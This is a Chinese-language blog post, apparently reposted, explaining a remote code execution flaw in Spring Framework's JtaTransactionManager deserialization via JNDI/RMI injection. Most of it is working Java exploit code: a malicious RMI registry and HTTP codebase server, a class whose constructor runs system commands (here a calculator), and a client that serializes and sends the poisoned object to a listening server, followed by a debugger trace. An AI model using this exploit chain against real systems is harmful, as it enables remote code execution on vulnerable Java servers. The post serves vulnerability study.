Spring framework 反序列化的漏洞


理解這個漏洞需要先看freebuff上的jdni的小例子。
jndi注入在jdk8u121繞過參考這倆篇文章:
https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
server端代碼:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.net.httpserver.HttpServer;

import javax.naming.Reference;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JndiPoc {
    public static void lanuchCodebaseURLServer() throws IOException {
        System.out.println("Starting HTTP server");
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(8009), 0);
        httpServer.createContext("/", new HttpFileHandler());
        httpServer.setExecutor(null);
        httpServer.start();
    }
    public static void lanuchRMIregister(String server_ip) throws Exception {
        System.out.println("Creating RMI Registry");
        Registry registry = LocateRegistry.createRegistry(2222);
        // 設置code url 這里即為http://127.0.0.1:8000/
        // 最終下載惡意類的地址為http://127.0.0.1:8000/ExportObject.class
        String evil_ip="http://"+server_ip+":8009/";
        Reference reference = new Reference("ExportObject", "ExportObject", evil_ip);
        // Reference包裝類
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        try {
            registry.bind("aa", referenceWrapper);

           // registry.bind("gsrc_ejbobject",referenceWrapper);
        }catch (Exception e){
            System.out.println("e.getCause().getCause().getCause().getMessage()");
        }

    }
    public static void main(String[] args) throws Exception {
        lanuchCodebaseURLServer();
        lanuchRMIregister("127.0.0.1");
    }

}

client代碼:

import javax.naming.*;
public class Jndi_Client {
    public static void main(String[] args) throws Exception {
        String uri="rmi://121.195.170.196:2222/aa";
        Context ctx=new InitialContext();
        ctx.lookup(uri);
    }
}

lookup參數uri可控,將uri注入惡意ip的rmi服務,觸發實例化惡意類構造方法調用。

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ExportObject{
    /*
    public static void main(String args[]) throws Exception {

    }*/

    public ExportObject() throws Exception {
      String OS=  System.getProperty("os.name").toLowerCase();
        String cmd="open /Applications/Calculator.app";

      if(OS.indexOf("win")>=0)
      {
        cmd="calc.exe";
      }

     //String cmd="open /Applications/Calculator.app";
        Runtime.getRuntime().exec(cmd);
    }

}


下面具體看Spring framework 反序列化的漏洞
Server端代碼:

imort java.io.*;
import java.net.*;
public class ExploitableServer {
	public static void main(String[] args) {
		try {
		//本地監聽1234端口
			ServerSocket serverSocket = new ServerSocket(1234);
			System.out.println("Server started on port "+serverSocket.getLocalPort());
			while(true) {
				Socket socket=serverSocket.accept();
				System.out.println("Connection received from "+socket.getInetAddress());				
				ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
				try {
				//執行接收到類的readObject方法
					Object object = objectInputStream.readObject();
					System.out.println("Read object "+object);									
				} catch(Exception e) {
					System.out.println("Exception caught while reading object");									
					e.printStackTrace();
				}				
			}
		} catch(Exception e) {
			e.printStackTrace();
		}
	}
}

client端:

import java.io.*;
import java.net.*;
import java.rmi.registry.*;
import com.sun.net.httpserver.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;


public class ExploitClient {
	public static void main(String[] args) {
		try {
			String serverAddress = "127.0.0.1";
			int port = Integer.parseInt("1234");
			String localAddress= "127.0.0.1";

			System.out.println("Starting HTTP server");   //開啟80端口服務
			HttpServer httpServer = HttpServer.create(new InetSocketAddress(81), 0);
			httpServer.createContext("/",new HttpFileHandler());
			httpServer.setExecutor(null);
			httpServer.start();
			
			System.out.println("Creating RMI Registry"); //綁定RMI服務到 1099端口 Object  提供惡意類的RMI服務
            Registry registry = LocateRegistry.createRegistry(1099);
            /*
            java為了將object對象存儲在Naming或者Directory服務下,
            提供了Naming Reference功能,對象可以通過綁定Reference存儲在Naming和Directory服務下,
            比如(rmi,ldap等)。在使用Reference的時候,我們可以直接把對象寫在構造方法中,
            當被調用的時候,對象的方法就會被觸發。理解了jndi和jndi reference后,
            就可以理解jndi注入產生的原因了。
             */ //綁定本地的惡意類到1099端口
        	Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":81"+"/");
			ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
            registry.bind("Object", referenceWrapper);

			System.out.println("Connecting to server "+serverAddress+":"+port); //連接服務器1234端口
			Socket socket=new Socket(serverAddress,port);
			System.out.println("Connected to server");
			String jndiAddress = "rmi://"+localAddress+":1099/Object";

			//JtaTransactionManager 反序列化時的readObject方法存在問題 //使得setUserTransactionName可控,遠程加載惡意類
			//lookup方法會實例化惡意類,導致執行惡意類無參的構造方法
			org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
			object.setUserTransactionName(jndiAddress);
			//上面就是poc,下面是將object序列化發送給服務器,服務器訪問惡意類
			System.out.println("Sending object to server...");
			ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
			objectOutputStream.writeObject(object);
			objectOutputStream.flush();
			while(true) {
				Thread.sleep(1000);
			}
		} catch(Exception e) {
			e.printStackTrace();
		}
	}
}

server與client交互流程:
Alt text
漏洞觸發點:
Alt text
下斷點調試,前面client都是綁定操作,直到執行到43行,將惡意的rmi地址寫入:
Alt text
46行將惡意類發送到Server端,server端執行JtaTransactionManager類的readObject:
Alt text
跟到616行:
Alt text
f7跟到173行:
Alt text
繼續f7跟到247行,調用了looup方法:
Alt text
繼續跟進94行,name 傳進的值是之前綁定的惡意類的地址,lookup方法會調用惡意類的構造方法。
Alt text
跟到惡意類構造方法,觸發RCE.
Alt text
參考鏈接:
https://www.freebuf.com/vuls/115849.html
https://paper.seebug.org/312/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM